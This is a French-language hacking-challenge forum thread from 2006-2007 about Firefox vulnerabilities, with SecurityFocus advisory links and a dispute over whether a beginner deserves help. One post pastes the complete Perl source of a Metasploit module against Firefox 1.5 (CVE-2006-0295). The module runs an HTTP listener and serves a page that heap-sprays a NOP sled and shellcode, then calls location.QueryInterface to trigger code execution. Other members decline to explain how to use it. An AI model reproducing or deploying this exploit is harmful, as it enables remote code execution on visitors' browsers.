logo Homepage
Pages: [1] 2
  Imprimer  
Auteur Fil de discussion: Failles critiques Firefox : remote execution code  (Lu 12013 fois)
deltabdx_
Profil challenge

Classement : 7159/54282

Néophyte
*
Hors ligne Hors ligne
Messages: 10


Voir le profil
« le: 15 Décembre 2006 à 22:20:56 »

Bonjour à tous!

Voici deux failles concernant firefox plutôt récentes comme vous pouvez le voir ci-dessous. C'est même tout chaud, enfin tout est relatif: dans le monde de la sécurité tout évolue si vite!

Je vous les poste car même si mon niveau actuel ne me permet pas d'implémenter mes propres exploits, n'étant pas seul sur terre, je ne doute pas un instant que certains ont dû s'empresser de le faire. Je trouve ces failles plutôt inquiètantes!

Amusez vous bien avec elles..

 

Multiple Mozilla Products Memory Corruption/Code Injection/Access Restriction Bypass Vulnerabilities
2006-12-15
http://www.securityfocus.com/bid/16476

Mozilla Firefox Large History File Buffer Overflow Vulnerability
2006-12-15
http://www.securityfocus.com/bid/15773
Journalisée
the lsd
Administrateur

Profil challenge

Classement : 190/54282

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3096

poulping for fun & profit


Voir le profil WWW
« #1 le: 16 Décembre 2006 à 01:58:52 »

intérressant a savoir... j'ai la flemme de cliquer sur les liens, mais je suppose que c'est pour firefox 2, non ?
Il manque plus que le patch de sécu en edit quand il sortira et c'est bon !

Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
Folcan

Profil challenge

Classement : 508/54282

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 1520


Voir le profil
« #2 le: 16 Décembre 2006 à 13:48:51 »

Mouarf la liste des systemes vulnerable est trèèèèèèèssssss longue (pour ne pas dire tous)
Journalisée

-=[FoLc@N]=-

Citation :
* Le futur appartient à ceux qui croient à la beauté de leurs rêves, je crois au miens, NewbieContest aura un bon futur.
* Il y'a seulement 10 categories de gens dans la vie : ceux qui comprennent le binaire, et les autres.
Invit
Invité
« #3 le: 17 Décembre 2006 à 01:18:25 »

Citation de: deltabdx_
C'est même tout chaud
Pas tant que ça non, et à priori je ne pense pas que Firefox 2 soit touché par ces vulnérabilités

Citation
Multiple Mozilla Products Memory Corruption/Code Injection/Access Restriction Bypass Vulnerabilities
Citation de: Security Focus
Published:      Feb 02 2006 12:00AM
Updated:    Dec 15 2006 07:58PM
Citation
Mozilla Firefox Large History File Buffer Overflow Vulnerability
Citation de: Security Focus
Published:      Dec 08 2005 12:00AM
Updated:    Dec 15 2006 07:58PM
Journalisée
mito

Profil challenge

Classement : 12989/54282

Membre Junior
**
Hors ligne Hors ligne
Messages: 61


Voir le profil
« #4 le: 11 Avril 2007 à 17:35:17 »

les exploits sont codée dans quelle langage ? .

Celui ci c'est du php ou du c++ et comment l'utilise t'on?

Citation
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::firefox_queryinterface_linux;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;

my $advanced =
  {
   'Gzip'       => [1, 'Enable gzip content encoding'],
   'Chunked'    => [1, 'Enable chunked transfer encoding'],
  };
 
my $info =
  {
   'Name'           => 'Firefox location.QueryInterface() Code Execution (Linux x86)',
   'Version'        => '$Revision: 1.1 $',
   'Authors'        =>
     [
      'H D Moore <hdm [at] metasploit.com>',
     ],

   'Description'    =>
     Pex::Text::Freeform(**No Sms**{
      This module exploits a code execution vulnerability in the Mozilla
   Firefox browser. To reliably exploit this vulnerability, we need to fill
   almost a gigabyte of memory with our nop sled and payload. This module has
   been tested on Gentoo Linux with the stock Firefox 1.5.0 package.
}),

   'Arch'           => [ 'x86' ],
   'OS'             => [ 'linux' ],
   'Priv'           => 0,

   'UserOpts'       =>
     {
      'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
      'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
     },

   'Payload'        =>
     {
      'Space'    => 1024,
      'BadChars' => "\x00",
      'Keys'     => ['-bind'],
     },
   'Refs'           =>
     [
        ['CVE', '2006-0295'],
        ['BID', '16476'],
        ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
     ],

   'DefaultTarget'  => 0,
   'Targets'        =>
     [
      [ 'Mozilla Firefox 1.5.0.0 on Linux x86' ]
     ],
   
   'Keys'           => [ 'mozilla' ],

   'DisclosureDate' => 'Feb 02 2006',
  };

sub new {
   my $class = shift;
   my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
   return($self);
}

sub Exploit
{
   my $self = shift;
   my $server = IO::Socket::INET->new(
      LocalHost => $self->GetVar('HTTPHOST'),
      LocalPort => $self->GetVar('HTTPPORT'),
      ReuseAddr => 1,
      Listen    => 1,
      Proto     => 'tcp'
   );
   my $client;

   # Did the listener create fail?
   if (not defined($server)) {
      $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
      return;
   }

   my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
      Pex::Utils::SourceIP('1.2.3.4') :
      $self->GetVar('HTTPHOST');

   $self->PrintLine("
  • Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

   while (defined($client = $server->accept())) {
      $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
   }

   return;
}

sub HandleHttpClient
{
   my $self = shift;
   my $fd   = shift;

   # Set the remote host information
   my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
      

   # Read the HTTP command
   my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
   my $agent;
   
   # Read in the HTTP headers
   while ((my $line = $fd->RecvLine(10))) {
      
      $line =~ s/^\s+|\s+$//g;
      
      my ($var, $val) = split(/\, $line, 2);

      # Break out if we reach the end of the headers
      last if (not defined($var) or not defined($val));

      $agent = $val if $var =~ /User-Agent/i;
   }
   
   my $os = 'Unknown';
   my $vl = ($agent =~ m/\/1\.5$/) ? 'Vulnerable' : 'Not Vulnerable';
   
   $os = 'Linux'     if $agent =~ /Linux/i;
   $os = 'Mac OS X'  if $agent =~ /OS X/i;
   $os = 'Windows'   if $agent =~ /Windows/i;   
   
   
   $self->PrintLine("
  • Client connected from $rhost:$rport ($os/$vl).");
   
   if ($os ne 'Linux') {
      $self->PrintLine("
  • Invalid target for this exploit, trying anyways...");
   } else {
      $self->PrintLine("
  • Sending payload and waiting for execution...");   
   }

   my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));

   $fd->Close();
}


sub JSUnescape {
   my $self = shift;
   my $data = shift;
   my $code = '';
   
   # Encode the shellcode via %u sequences for JS's unescape() function
   my $idx = 0;
   while ($idx < length($data) - 1) {
      my $c1 = ord(substr($data, $idx, 1));
      my $c2 = ord(substr($data, $idx+1, 1));   
      $code .= sprintf('%%u%.2x%.2x', $c2, $c1);   
      $idx += 2;
   }
   
   return $code;
}

sub GenerateHTML {
   my $self        = shift;
   my $target      = $self->Targets->[$self->GetVar('TARGET')];
   my $shellcode   = $self->JSUnescape($self->GetVar('EncodedPayload')->Payload);
   my $data        = **No Sms**#
<html>
<head>
   <title>One second please...</title>
   <script language="javascript">

      function BodyOnLoad() {
         h = FillHeap();
         location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
      };
      
      function FillHeap() {
         // Filler
         var m = "";
         var h = "";
         var a = 0;
         
         // Nop sled
         for(a=0; a<(1024*512); a++)
            m += unescape("\%u9090");

         // Payload
         m += unescape("$shellcode");
         
         // Repeat
         for(a=0; a<1024; a++)
            h += m;
         
         // Return
         return h;
      }
   </script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
#;
   return $data;
}

sub BuildResponse {
   my ($self, $content) = @_;

   my $response =
     "HTTP/1.1 200 OK\r\n" .
     "Content-Type: text/html\r\n";

   if ($self->GetVar('Gzip')) {
      $response .= "Content-Encoding: gzip\r\n";
      $content = $self->Gzip($content);
   }
   if ($self->GetVar('Chunked')) {
      $response .= "Transfer-Encoding: chunked\r\n";
      $content = $self->Chunk($content);
   } else {
      $response .= 'Content-Length: ' . length($content) . "\r\n" .
        "Connection: close\r\n";
   }

   $response .= "\r\n" . $content;

   return $response;
}

sub Chunk {
   my ($self, $content) = @_;

   my $chunked;
   while (length($content)) {
      my $chunk = substr($content, 0, int(rand(10) + 1), '');
      $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
   }
   $chunked .= "0\r\n\r\n";

   return $chunked;
}

sub Gzip {
   my $self = shift;
   my $data = shift;
   my $comp = int(rand(5))+5;

   my($wtr, $rdr, $err);

   my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
   print $wtr $data;
   close ($wtr);
   local $/;

   return (<$rdr>);
}
1;
Journalisée

capitaliste:art de manipuler une population .
sarkosyste:art de rassembler une population par l'apparence.
zours

Profil challenge

Classement : 552/54282

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 811


Voir le profil
« #5 le: 11 Avril 2007 à 17:48:14 »

A mon avis si tu ne sais même pas en quel langage est écrit cet exploit, et comment on l'utilise, c'est que tu ne le comprends pas du tout (et vu ta demande, c'est même pas ça qui t'intéresse).
Aussi, ta demande s'apparente selon moi à du bon gros lamering de base ("je veux utiliser un truc pour foutre la merde, mais j'm'en fous de savoir comment c'est fait"), et on aime pas beaucoup (voire pas du tout) ça par ici...

Sinon, pour la question qui fait moins lame : les exploits sont codés en un peu ce qu'on veut, tant que c'est un langage qui dispose des éléments dont on va avoir besoin pour le sploit précis.
Journalisée
_o_
Relecteur

Profil challenge

Classement : 42/54282

Membre Héroïque
*
Hors ligne Hors ligne
Messages: 1258


Voir le profil
« #6 le: 11 Avril 2007 à 17:59:03 »

Citation de: mito
les exploits sont codée dans quelle langage ?
Celui qu'on veut. Celui que l'on maîtrise. Celui qui est adapté à l'environnement de la faille que l'on attaque.

Citation de: mito
Celui ci c'est du php ou du c++
Non, c'est du Perl. Accessoirement, ce n'était pas obligé de coller intégralement le code source : une url aurait suffit (par exemple : http://downloads.securityfocus.com/vulnerabilities/exploits/firefox_queryinterface_linux.pm ).

Citation de: mito
et comment l'utilise t'on?
L'auteur n'a pas précisé le mode d'emploi ? On ne sait même pas ce que cet «exploit» attaque¹. Rien qu'un bout de code². Et qu'en dit notre meilleur ami sur Internet ?

¹: Bon, je n'ai vu qu'après qu'il s'agissait d'une des alertes citées plus haut dans le fil...
²: On notera que le bout de code en question est documenté et commenté, et qu'il suffit de scroller de quelques lignes pour avoir un bref descriptif du truc...

Journalisée

Les épreuves de hack de NC sont trop faciles ? Et pourtant ! Bienvenue dans la vraie vie : http://thedailywtf.com/Articles/So-You-Hacked-Our-Site!.aspx
mito

Profil challenge

Classement : 12989/54282

Membre Junior
**
Hors ligne Hors ligne
Messages: 61


Voir le profil
« #7 le: 11 Avril 2007 à 18:22:23 »

Citation
A mon avis si tu ne sais même pas en quel langage est écrit cet exploit, et comment on l'utilise, c'est que tu ne le comprends pas du tout
Ton site a pour objectif la sécurité informatique .
Le principe de ton site est de nous faire montrer des failles sur different langages pour que nous nous protégions mieux d'elles .Ton site est pour les pro comme les [h]debutants[/h] dans la programmation.
Depuis quelque temps j'apprend le php , je commence à utiliser la base donner .
J'ai juste remarqué qu'il y avait du javascript dans cette exploit mais il y a des instructions que je ne comprend pas.
Je t'ai demandé comment utilisé cette exploit .
Bizaremment ta première réaction fut de me traiter de lamer alors que ce n'était pas moi qui avait lancer le sujet sur les exploits .
je trouve inormal que tu me laisse dans l'ignorance alors que nous sommes dans un forum ouvert à tous tant pour les debutant que pour les pro de programmation.
Si tu ne veut pas me répondre , la prochaine fois que tu veut crée un topic sur des notions avancés en informatique écrit [h]Résever au personne possedant une culture élevé en programmation [/h].

Citation
("je veux utiliser un truc pour foutre la merde, mais j'm'en fous de savoir comment c'est fait"), et on aime pas beaucoup (voire pas du tout) ça par ici...
*/no sms s'il te plait/*
Je n'ai aucune volonter de *foutre la merde* ,je veut juste approfondir ma culture informatique .
Ton site est pourtant baser sur la culture informatique  (tu montres les dangers du web en montrant les failles ,je pense que ma demande ont un rapport commun avec les methodes de ton site )
Journalisée

capitaliste:art de manipuler une population .
sarkosyste:art de rassembler une population par l'apparence.
S0410N3
Administrateur

Profil challenge

Classement : 10/54282

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 1260


Voir le profil WWW
« #8 le: 11 Avril 2007 à 18:43:49 »

Disons que balancer un long code source comme ça et demander à quoi ça peut bien servir sans même avoir fait l'effort préalable de chercher un peu par soi même et de se renseigner ça peut pas trop passer. Tu ne peux que te faire considérer comme un boulet...

Tu aurais demandé telle ou telle précision sur telle ou telle instruction ça serait sans doute bien passé.
Mais là tu montres clairement qu'il faut tout t'expliquer (même dans quel langage c'est écrit).

Désolé, mais y a trop de boulot pour t'expliquer et posée comme ça ta question ne peut avoir aucun impact. On n'apprend pas à un enfant de dix ans à faire du calcul matriciel. La base n'est pas là. Là c'est pareil.
Journalisée

Enjoy (copyleft de quelqu'un qui a trop parlé)

S0410N3

-------------------------------------------------------------------------------------
La folie est le prix à payer pour le temps passé à être trop lucide.
-------------------------------------------------------------------------------------
http://forum.hardware.fr/hfr/Discussions/Societe/francais-repere-repaire-sujet_19265_1.htm
zours

Profil challenge

Classement : 552/54282

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 811


Voir le profil
« #9 le: 11 Avril 2007 à 18:51:09 »

1 - ce n'est pas "mon" site ;

2 - c'est certainement pas toi qui vas nous dire comment et dans quelle direction ce site doit aller, ce qu'on doit faire et ce qu'on ne doit pas ;

3 - je ne t'ai pas traité de lamer, j'ai dit (je me cite) "ta demande s'apparente à...". Il y a une nuance importante dans cette expression, manifestement encore trop subtile pour toi, tu peux donc relire la phrase plus attentivement ;

4 - tu aurais demandé des informations sur tel ou tel point du sploit, tu aurais eu une réponse (normalement). Là tu veux juste savoir comment ça marche, cf plus haut à quoi ça me fait immédiatement penser. Pour h4ck d4 w0r1d, y'a un autre site qui explique ça très bien.

PS : évite d'insister trop, ça ne peut pas se finir bien...
Journalisée
_o_
Relecteur

Profil challenge

Classement : 42/54282

Membre Héroïque
*
Hors ligne Hors ligne
Messages: 1258


Voir le profil
« #10 le: 11 Avril 2007 à 18:54:54 »

Citation de: mito
Ton site a pour objectif la sécurité informatique .
Ce n'est pas son site. Il est l'un des administrateurs. NC est une communauté.

Citation de: mito
Je t'ai demandé comment utilisé cette exploit .
Il n'en sait probablement pas plus que toi et moi. Par contre, toi tu peux te prendre par la main et faire les recherches nécessaires sur cet exploit pour en trouver le mode d'emploi.

Citation de: mito
Bizaremment ta première réaction fut de me traiter de lamer alors que ce n'était pas moi qui avait lancer le sujet sur les exploits .
On utilise en général le terme de lamer à propos de quelqu'un qui utilise des exploits sans se soucier de savoir comment ça marche. En règle général en utilisant un outil tout fait dans le lequel il suffit de cliquer. Cela semble être ta démarche étant donné que tu ne sembles même pas avoir chercher le type de langage employé.

Ce n'est pas le but de NC. NC propose des épreuves et des discussions qui permettent d'apprendre, ou d'apprendre à chercher l'information. NC ne se propose pas de répondre à toute question posée, fut-elle au sujet de sécurité informatique;.

Citation de: mito
je trouve inormal que tu me laisse dans l'ignorance alors que nous sommes dans un forum ouvert à tous tant pour les debutant que pour les pro de programmation.
Il ne te doit rien, pas plus que n'importe quel autre membre. Tu n'as pas payé pour t'inscrire, tu n'as signé aucun contrat qui engageait la communauté à répondre à tes questions. Tu as soif d'apprendre, mais on n'est jamais mieux servi que par soi-même. NC est un moyen, un support. Il y a beaucoup d'autres sites de qualité sur la sécurité, beaucoup moins abordables que NC.
Journalisée

Les épreuves de hack de NC sont trop faciles ? Et pourtant ! Bienvenue dans la vraie vie : http://thedailywtf.com/Articles/So-You-Hacked-Our-Site!.aspx
Banni
Profil challenge

non classé(e).

Néophyte
*
Hors ligne Hors ligne
Messages: 4


Voir le profil
« #11 le: 12 Avril 2007 à 03:45:08 »

T'en fais pas mito, zours et sa joyeuse bande d'admin font à leur tête et il n'accepteront jamais d'avoir tort dans n'importe quelle situation. Si tu dis quelque chose qu'ils aiment pas, y vont te bannir.

Preuve:

"PS : évite d'insister trop, ça ne peut pas se finir bien..."

Tu devrais juste faire tranquillement les épreuves et ignorer ces gars-là. Si tu veux un site où il y a de l'entraide et une vraie communauté cool, c'est sûrement pas sur NC que tu vas le trouver.
Journalisée
Folcan

Profil challenge

Classement : 508/54282

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 1520


Voir le profil
« #12 le: 12 Avril 2007 à 08:53:47 »

Salut banni,

Bon alors je pense qu'il faut etre claire, tu ne sais pas du tout ammener à bien un projet de l'ampleur de NC.
Ce n'est pas une critique que je te fais la, ne le prend pas mal.

La team NC en a vue passer des boulets, et dans tous les sens.

Ils ont de l'experience, le savoir faire, et les methodes, pour denicher les boulets, et sont obligés parfois d'etre un peu dur avec certain, pour le bien de la communauté, mais aussi pour le bien de la personne.

La secu info, c'est pas juste une histoire de challenges à resoudre, ou de faille à exploiter, mais aussi une ethique, et une certaine comprehension des choses, une mentalitée.
Et les ptits gars de NC, veulent aussi communiqué sur cette mentalité par le forum.

Certains se rapelleront peut etre de sites, sur lesquelles les boulets ont fleuris, voir meme les lamerz, et qui ont sombré literalement sous le poid de ces derniers, devenu un repere de lamerz (je ne cite personne).

Alors, oui il faut de la tolerence, mais aussi un peu de severité pour maintenir un certain ordre.

Au depart de NC (et je sais un peu de quoi je parle), il y'en a eu du boulet, banni, censuré, expedié à la trappe, et ca na pas ternis à la reputation de NC, au contraire, vu ce que c'est devenu.

Je pense que tu devrais revoir serieusement ton sujet avant d'avancer de tels propos.

Bien cordialement.
Journalisée

-=[FoLc@N]=-

Citation :
* Le futur appartient à ceux qui croient à la beauté de leurs rêves, je crois au miens, NewbieContest aura un bon futur.
* Il y'a seulement 10 categories de gens dans la vie : ceux qui comprennent le binaire, et les autres.
Invit
Invité
« #13 le: 12 Avril 2007 à 09:49:01 »

En d'autres termes NewbieContest n'est pas un site qui traite de sécurité informatique, c'est un site de jeux.
Certains jeux ont trait à des failles de scripting connues, voire des concepts utilisés en informatique au niveau de la sécurité, mais ce n'est absolument pas une référence, au mieux c'est un site pour avoir une première approche, il ne faut donc pas s'etonner de voir transiter essentiellement des newbies qui posent des questions idiotes et des lamers parceque c'est de leur age.

<hacker> tiens attrape ça
<lamer> sé koa lol ?
<hacker> c'est une grenade, fais gaffe à pas l'utiliser n'importe comment par contre...
<lamer> a ok lol coooooll =D=D
*BOOOOOMMMMM*

Comprends qui peut...

[edith:] J'ajouterais une chose à l'attention de mito (quel joli pseudo ), un site qui traite vraiment de sécurité informatique, ou avec des exploits de ouf etc. 'fin tous les trucs vraiment "cools", y'en a effectivement plusieurs, mais aucun gars t'expliqueras jamais comment hacker la planete, c'est quelque chose de tacite et implicite, on part du principe que quand tu parles sécurité/exploits etc. c'est que déjà tu connais l'informatique bien comme il faut, sous entendu qu'on a pas besoin de reprendre tout depuis le début pour répondre à ta question.
En l'occurence je pense que tu ne te rends pas compte à quel point ce que tu as entre les mains est complexe et hors de ta portée pour l'instant. Conseil : apprends à programmer (en C, en ASM, en Perl, PHP, Python ou.. en Ruby par exemple ) bien comme il faut, tu reviendras sur ce sujet plus tard..
Journalisée
Ge0

Profil challenge

Classement : 16/54282

Membre Senior
****
Hors ligne Hors ligne
Messages: 377


Voir le profil WWW
« #14 le: 12 Avril 2007 à 12:50:49 »

Citation de: cmd
Conseil : apprends à programmer (en C, en ASM, en Perl, PHP, Python ou.. en Ruby par exemple ) bien comme il faut, tu reviendras sur ce sujet plus tard..
C'est toujours ce qu'on dit aux newbies qui veulent s'y mettre... Mais non, 85% on une mauvaise idée derrière la tête, comme pirater un skyblog ou MSN.

Je me pose une question (désolé si c'est HS) : "Comment faire aimer la programmation à un newbie, un vrai néophyte ?"
Quelqu'un saurait m'aider ? :s
Journalisée
Pages: [1] 2
  Imprimer  
 
Aller à: